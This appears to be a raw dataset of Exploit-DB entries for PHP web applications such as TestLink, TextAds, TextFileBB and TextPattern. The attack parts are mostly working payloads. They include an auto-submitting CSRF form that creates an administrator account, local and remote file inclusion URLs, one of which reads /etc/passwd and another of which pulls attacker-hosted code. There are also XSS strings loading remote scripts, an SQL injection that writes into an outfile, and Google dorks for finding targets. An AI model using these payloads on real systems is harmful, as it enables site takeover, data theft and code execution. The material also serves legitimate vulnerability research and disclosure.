deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38661
Description: TestLink 1.9.14 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2015-11-09
Author: Aravind C Ajayan_ Balagopal N

Exploit:
Information
=================================
Name: CSRF Vulnerability in TestLink 1.9.14
Affected Software: TestLink
Affected Versions: 1.9.14 and possibly below
Vendor Homepage: http://testlink.org/
Severity: High
Status: Fixed


Vulnerability Type:
=================================
Cross Site Request Forgery (CSRF)


CVE Reference:
=================================
Not assigned


Technical Details:
=================================
Even though the use of CSRF tokens are being implemented in the
application, they aren't properly
validated at the server side. This allows malicious requests to be
generated by the attacker and
get them processed by the server on behalf of the victim. By
exploiting the vulnerability,
the attacker will be able to create user accounts with administrator
privileges on the application.


Exploit Code
=================================

<html lang="en">
<head>
<title>CSRF Exploit to Create New Administrator Account</title>
</head>
<body>
<form action="http://localhost/testlink_1_9_14/lib/usermanagement/usersEdit.php"
id="formid" method="post">
<input type="hidden" name="CSRFName" value="" />
<input type="hidden" name="CSRFToken" value="" />
<input type="hidden" name="user_id" value="" />
<input type="hidden" name="user_login" value="" />
<input type="hidden" name="login" value="new_admin" />
<input type="hidden" name="firstName" value="new_administrator_fname" />
<input type="hidden" name="lastName" value="new_administrator_lname" />
<input type="hidden" name="password" value="new_administrator_password" />
<input type="hidden" name="emailAddress" value="new_administrator@admin.com" />
<input type="hidden" name="rights_id" value="8" />
<input type="hidden" name="locale" value="en_GB" />
<input type="hidden" name="authentication" value="" />
<input type="hidden" name="user_is_active" value="on" />
<input type="hidden" name="doAction" value="doCreate" />
<input type="hidden" name="do_update" value="Save" />
</form>
<script>
document.getElementById('formid').submit();
</script>
</body>
</html>


Exploitation Technique:
===================================
Remote


Severity Level:
===================================
High


Advisory Timeline
===================================
Sat, 7 Nov 2015 13:14:33 +0530 - First Contact
Sat, 7 Nov 2015 08:52:14 +0100 - Vendor Response
Sat, 7 Nov 2015 13:00:54 +0100 - Vendor Fixed
Sun, 8 Nov 2015 19:03:00 +0530 - Public Disclosure


Solution
====================================
This vulnerability is fixed in TestLink 1.9.15 (Tauriel)
Fix: https://github.com/TestLinkOpenSourceTRMS/testlink-code/commit/1cb1f78f1a50f6e6819bcbadeae345eb3213c487


Credits & Authors
====================================
Aravind C Ajayan, Balagopal N
Exploit-DB #20787
Description: Text Exchange Pro - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2012-08-24
Author: Yakir Wizman

Exploit:
-----------------------------------------------------------
Text Exchange Pro (index.php page) Local file inclusion
Bug discovered by Yakir Wizman
Date 24/08/2012
Vendor Homepage - http://www.phpwebscripts.com/text-exchange-pro/
Demo - http://www.scripts-demo.com/textexchangepro/
ISRAEL
-----------------------------------------------------------
       Author will be not responsible for any damage.
-----------------------------------------------------------

About the Application
-----------------------------------------------------------
Text Exchange Pro is an unique PHP script for running your own text link exchange system.


Proof Of Conecpt
-----------------------------------------------------------
Local file inclusion (Severity is high)
Vulnerable URL	: http://server/textexchangepro/index.php?page=../../../../../../../../../../etc/passwd%00
Exploit-DB #10442
Description: Text Exchange Pro - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2009-12-14
Author: bi0

Exploit:
# Title: Text Exchange Pro - [ CSRF ] Create Administrator Account
# Date: 14/12/2009
# Author: bi0
# Software Link: http://scripts-gate.com/1/text_exchange_script.html
# CVE : ()

                ______     __     ______
               /\  == \   /\ \   /\  __ \
               \ \  __<   \ \ \  \ \ \/\ \
                \ \_____\  \ \_\  \ \_____\
                 \/_____/   \/_/   \/_____/

                 [PII_REDACTED] 01001111

[#]----------------------------------------------------------------[#]
#
# [+] Text Exchange Pro - [ CSRF ] Create Administrator Account
#
#  // Author Info
# [x] Author: bi0
# [x] Contact: bukibv@hotmail.com
# [x] Homepage : www.ssteam.ws
# [x] Thanks: sp1r1t,packetdeath,Zer0flag,redking and ssteam.ws ...
#
[#]-------------------------------------------------------------------------------------------[#]
#
# [x] Exploit :
#
# [ CSRF ]
#
#     [ Login ]
#     http://localhost/[path]/administration/index.php
#
# // Start CSRF
|-------------------------------------------------------------------------------|
<form action="http://localhost/[path]/administration/admins.php" method="POST">
  <input type="hidden" name="action" value="admin_created">
  <input  name="username" value="adminlol" maxlength=15>
  <input  name="password" maxlength=15 value="adminlol">
  <input  name="email" maxlength="255" value="test@demo.com">
  <input  name="name" maxlength="255" value="adminlol">
<input type="hidden" name="rights[]" value="advertisers" CHECKED>
<input type="hidden" name="rights[]" value="packages" CHECKED>
<input type="hidden" name="rights[]" value="publishers" CHECKED>
<input type="hidden" name="rights[]" value="ads" CHECKED>
<input type="hidden" name="rights[]" value="def_ads" CHECKED>
<input type="hidden" name="rights[]" value="black_zones" CHECKED>
<input type="hidden" name="rights[]" value="backup" CHECKED>
<input type="hidden" name="rights[]" value="email_u" CHECKED>
<input type="hidden" name="rights[]" value="reset" CHECKED>
<input type="hidden" name="rights[]" value="tmpl_msg" CHECKED>
<input type="hidden" name="rights[]" value="admins" CHECKED>
<input type="hidden" name="rights[]" value="config" CHECKED>
<input type="submit" name="submit" value="Submit">
</form>
|-------------------------------------------------------------------------------|
# // End of attack
#
[#]------------------------------------------------------------------------------------------[#]
Exploit-DB #7542
Description: Text Lines Rearrange Script - 'Filename' File Disclosure
Type: webapps
Platform: php
Date: 2008-12-22
Author: SirGod

Exploit:
#############################################################################################
[+] Text Lines Rearrange Script (download.php filename) File
Disclosure Vulnerability
[+] Discovered By SirGod
[+] Visit : www.h4cky0u.org
[+] Greetz : All my friends
#############################################################################################

 [+] File Disclosure Vulnerability

  Vulnerable Code in download.php :

-----------------------------------------------------

if(file_exists($filename))
{
	$fp=fopen($filename,"r");
	$content=fread($fp,filesize($filename));
	fclose($fp);
	
------------------------------------------------------	
	
 PoC :

  http://[target]/[path]/download.php?filename=[Local File]

 Example :

  http://[target]/[path]/download.php?filename=index.php

 Live Demo :

  http://www.rightscripts.com/listrearrange/download.php?filename=index.php

#############################################################################################

# milw0rm.com [2008-12-22]
Exploit-DB #28502
Description: TextAds - 'delete.php?id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-09
Author: s3rv3r_hack3r

Exploit:
source: https://www.securityfocus.com/bid/19932/info

TextAds is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/textads/clients/delete.php?id=[xss]
Exploit-DB #28503
Description: TextAds - 'error.php?error' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-09
Author: s3rv3r_hack3r

Exploit:
source: https://www.securityfocus.com/bid/19932/info
 
TextAds is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/textads/clients/error.php?error[xss]
Exploit-DB #17173
Description: TextAds 2.08 Script - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-04-15
Author: Ashiyane Digital Security Team

Exploit:
===========================================================================
# TextAds 2.08 Script Cross Site Scripting Vulnerability
===========================================================================
###########################################################################
# Name: TextAds 2.08 Script Cross Site Scripting Vulnerability
# Vendor: http://idevspot.com/TextAds2.php
# Price: $49.95
# Date: 2011-04-14
# Author: Ashiyane Digital Security Team
# Thanks to: 1337day.com,Securityreason.com,packetstormsecurity.com,
# Contact: Xrogue_p3rsi4n_hack3r[at]Hotmail[Dot]com
# Home: www.ashiyane.org/forums/
###########################################################################
###########################################################################

[+] Dork: intext:"Powered by TextAds 2.08" 

###########################################################################

[+] Vulnerability: / Title Field /

[+] Note: At First Register in Site , Go To "NewAds" Then in Title Field
      Put Your Script ! 
      Result : Administrator After Checking "Campagin Ads" Your 
      Script'll Run So > You Can Steal Admin Cookie !
      Seem's Have more Vulnerability but i didn't Check it YET !
          
[+] Demo: http://www.youtube.com/watch?v=gKhicG4Aqek

###########################################################################
===========================================================================
# Gr33tz:
# Ashiyane Members : BehroozIce,Q7x,,Virangar,Iman_taktaz,Keivan,Ali_eagle
# Taghva,M3QD4D,PrinceOfHacking,Hidden-Hunter,Root3r,elvator,unique2world
# Gladiator,Wahid,Encoder,mmilad200,n3me3iz,Classic,r3d.z0n3,injector,fr0nk
# mzhacker,zend,milad-bushehr,aliakh,__amir__,anti206,ruin3r,Hijacker,Rz04
#                &
# 1337 Member: r0073r,Side^effects,r4dc0re,eidelweiss,SeeMe,agix,gunslinger
# Sn!pEr.S!te,indoushka,Knockout,ZoRlu,AnT!-Tr0J4n,eXeSoul,
===========================================================================
# DisCovered By XroGuE !!!
Exploit-DB #27373
Description: TextFileBB 1.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-03-08
Author: Retard

Exploit:
source: https://www.securityfocus.com/bid/17029/info

The 'textfileBB' application is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/messanger.php?mess=%3Cscript%20src=http://www.example.com/xss.js%3E%3C/script%3E


http://www.example.com/messanger.php?p=MSN&user=%3Cscript%0src=http://www.example.com/xss.js%3E%3C/script%3E


http://www.example.com/messanger.php?p=YIM&user=%3Cscript%0src=http://www.example.com/xss.js%3E%3C/script%3E


http://www.example.com/messanger.php?p=ICQ&user=%3Cscript%0src=http://www.example.com/xss.js%3E%3C/script%3E


http://www.example.com/messanger.php?p=AIM&user=%22%3E%3C/head%3E%3Cbody%3E%3Cscript20src=http://www.example.com/xss.js%3E%3C/body%3E%3C/html%3E
Exploit-DB #27782
Description: TextFileBB 1.0.16 - Multiple Tag Script Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2006-04-29
Author: r0xes

Exploit:
source: https://www.securityfocus.com/bid/17750/info

TextFileBB is prone to multiple script-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before including it in dynamically generated content. 

Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing the attacker to steal cookie-based authentication credentials. Other attacks are also possible. 

These issues are reported to affect version 1.0.16; other versions may also be vulnerable.

[code][.color=#00F"onMouseOver=&#039;alert(/xss/)&#039; x="]h0n0[/color][/code]
[code][.size=7" OnMouseOver="alert(/xss/)]Clicky Here [/size][/code]
[code][.url=http://" OnMouseOver="alert(/xss/)]hmm[/url][/code]
Exploit-DB #2646
Description: TextPattern 1.19 - 'publish.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-25
Author: Bithedz

Exploit:
----------------------------------------------------------------------------
TextPattern <=g1.19 (txpcfg[txpath]) Remote File Inclusion Vulnerability
----------------------------------------------------------------------------

Author		: Zeni Susanto A.K.A Bithedz
Date Found	: October, 25th 2006
Location	: Indonesia,Bandung
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: TextPattern
version		: <=g1.19
URL		: http://textpattern.com/deanload/textpattern_g119.zip

textpattern is A free, flexible, elegant, easy-to-use content management system for all kinds of websites, even weblogs.


---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~

In file publish.php I found vulnerability script
--------------------------publish.php---------------------------------------
define("txpath",$txpcfg['txpath']); 
----------------------------------------------------------------------------

Input passed to the "txpcfg['txpath']" parameter in publish.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.


Proof Of Concept:
~~~~~~~~~~~~
http://yourtargetsite/[textpattern_g119_path]/textpattern/publish.php?txpcfg[txpath]=http://attact/colok.txt?
Solution:
~~~~
- Sanitize variable $txpcfg['txpath'] on affected files.
- Turn off register_globals

---------------------------------------------------------------------------

Shoutz:
~
~ K-159
~ Monik My Brain
~ #bridge (silent) @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~
bithedz[at]gmail[dot]com

# milw0rm.com [2006-10-25]
Exploit-DB #35571
Description: TextPattern 4.2 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-04-06
Author: kurdish hackers team

Exploit:
source: https://www.securityfocus.com/bid/47182/info

TextPattern is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

TextPattern 4.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?q=<script>alert(888)</script>
Exploit-DB #36489
Description: TextPattern 4.4.1 - 'ddb' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-01-04
Author: Jonathan Claudius

Exploit:
source: https://www.securityfocus.com/bid/51254/info

TextPattern is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

TextPattern 4.4.1 is vulnerable; other versions may also be affected. 

POST /textpattern/setup/index.php HTTP/1.1

Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1)
Gecko/20100101 Firefox/8.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://www.example.com/textpattern/setup/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 156

duser=blah&dpass=&dhost=localhost&ddb=%3Cscript%3Ealert%28%27123%27%29%3C%2
Fscript%3E&dprefix=&siteurl=A.B.C.D&Submit=next&lang=en-us&step=print
Config
Exploit-DB #44277
Description: TextPattern 4.6.2 - 'qty' SQL Injection
Type: webapps
Platform: php
Date: 2018-03-12
Author: Manuel García Cárdenas

Exploit:
=============================================
MGC ALERT 2018-002
- Original release date: February 12, 2018
- Last revised:  March 12, 2018
- Discovered by: Manuel García Cárdenas
- Severity: 7,1/10 (CVSS Base Score)
- CVE-ID: CVE-2018-7474
=============================================

I. VULNERABILITY
-------------------------
SQL Injection in Textpattern <= 4.6.2

II. BACKGROUND
-------------------------
Textpattern is a free and open-source content management system (CMS) based
on PHP and MySQL, originally developed by Dean Allen and now developed by
Team Textpattern.

III. DESCRIPTION
-------------------------
This bug was found using the portal with authentication as administrator.

To exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to interact with the application.

It is possible to inject SQL code in the variable "qty" on the page
"index.php".

IV. PROOF OF CONCEPT
-------------------------
The following URL's and parameters have been confirmed to all suffer from
SQL injection.

/textpattern/textpattern/index.php?event=link&step=link_change_pageby&qty=50&_txp_token=baa07ba857d3618ef810b725b9d4d9d8

Note: the variable "_txp_token" doest not work as a anti-csrf.

POC:

/textpattern/textpattern/index.php?event=link&step=link_change_pageby&qty=50%20into%20outfile%20'%
5cfakesite.com%5c'%3b%20--%20&_txp_token=baa07ba857d3618ef810b725b9d4d9d8

V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.

VI. SYSTEMS AFFECTED
-------------------------
Textpattern <= 4.6.2

VII. SOLUTION
-------------------------
Disable website until a fix is available.

VIII. REFERENCES
-------------------------
https://textpattern.com/

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
February 12, 2018 1: Initial release
March 12, 2018 2: Revision to send to lists

XI. DISCLOSURE TIMELINE
-------------------------
February 12, 2018 1: Vulnerability acquired by Manuel Garcia Cardenas
February 12, 2018 2: Send to vendor without response
February 26, 2018 3: Second email to vendor without response
March 12, 2018 4: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester
Exploit-DB #14823
Description: textpattern CMS 4.2.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-08-28
Author: Sn!pEr.S!Te

Exploit:
#  Remote File Inclusion Vulnerability 
# ------------------------------------------------------------------------------
# Textpattern ( index.php ) 
# --------------------------------------------------------------
# [+] Author : Sn!pEr.S!Te Hacker
# [+] Email : Sniper-site@HoTmaiL.Com
# [+] Inj3ct0r Team Hacker #
# [+] 28-8-2010
# [+] Script : Programs » Textpattern  
# [+]Version: [4.2.0] # 
# [+] Download:http://textpattern.com/download
 ---------------------------------------------------------------
-=[ exploit ]=-


http://localhost/Textpattern/index.php?inc= [inj3ct0r RFI] 
  
http://127.0.0.1/Textpattern/index.php?inc= [inj3ct0r RFI]
----------------------------------------------------------------------
Line : 141

code : include $inc ;
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanks To All: www.Exploit-db.com | wwww.inj3ct0r.com | www.hack0wn.com

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 

                   =========== Greetz ============
SeeMe ; Inj3ctOr ; Sid3^effects ; L0rd CrusAd3r ;indoushka ; The_Exploited

                ========all my friend ==========
* PrX Hacker * GaMzAh HaCkeR * AbUbAdR * mAsH3L ALLiL * DMaR AL-TMiMi |

* Sm Hacker * Dj Hacker * KaSpEr NaJd * Viros RooT *HaNniBaL KsA      |

=========================| -=[ THE END]=- |=========================
Exploit-DB #48861
Description: Textpattern CMS 4.6.2 - 'body' Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-10-07
Author: Alperen Ergel

Exploit:
# Exploit Title: Textpattern CMS 4.6.2 - 'body' Persistent Cross-Site Scripting
# Exploit Author: Alperen Ergel
# Web Site: https://alperenae.gitbook.io/
# Software Homepage: https://textpattern.com/
# Version : 4.6.2
# Tested on: windows 10 / xammp
# Category: WebApp
# Google Dork: intext:"Published with Textpattern CMS"
# Date: 2020-10-29
# CVE :-
######## Description ########
#
# 1-) Loggin administrator page
# 
# 2-) Write new blog add payload to 'body'
#
# 3-) Back to web site then will be work payload
#
#
######## Proof of Concept ########

========>>> REQUEST <<<=========

POST /textpattern/textpattern/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://localhost/textpattern/textpattern/index.php?event=article&ID=3
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]797109093
Content-Length: 6080
Connection: close
Cookie: txp_login=localhost%2Ca170e235c4f2f59bb1300272c470807d; txp_login_public=a834cbdc8blocalhost; __atuvc=1%7C40; __atuvs=5f77129c504c17ce000

### SNIPPP HERE ####

----------------------------[PII_REDACTED][PII_REDACTED]797109093
Content-Disposition: form-data; name="Title"

XSS
----------------------------[PII_REDACTED][PII_REDACTED]797109093
Content-Disposition: form-data; name="textile_body"

1
----------------------------[PII_REDACTED][PII_REDACTED]797109093
Content-Disposition: form-data; name="Body"

<script>alert(1)</script>
----------------------------[PII_REDACTED][PII_REDACTED]797109093